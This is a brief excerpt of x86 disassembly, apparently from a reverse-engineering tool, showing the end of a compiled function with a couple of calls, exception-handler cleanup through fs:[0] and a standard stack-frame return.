lea eax, [ebp - 0x5c]
push eax
mov ecx, dword [0x1006682c]
call fcn.10014bc0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10014ba0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret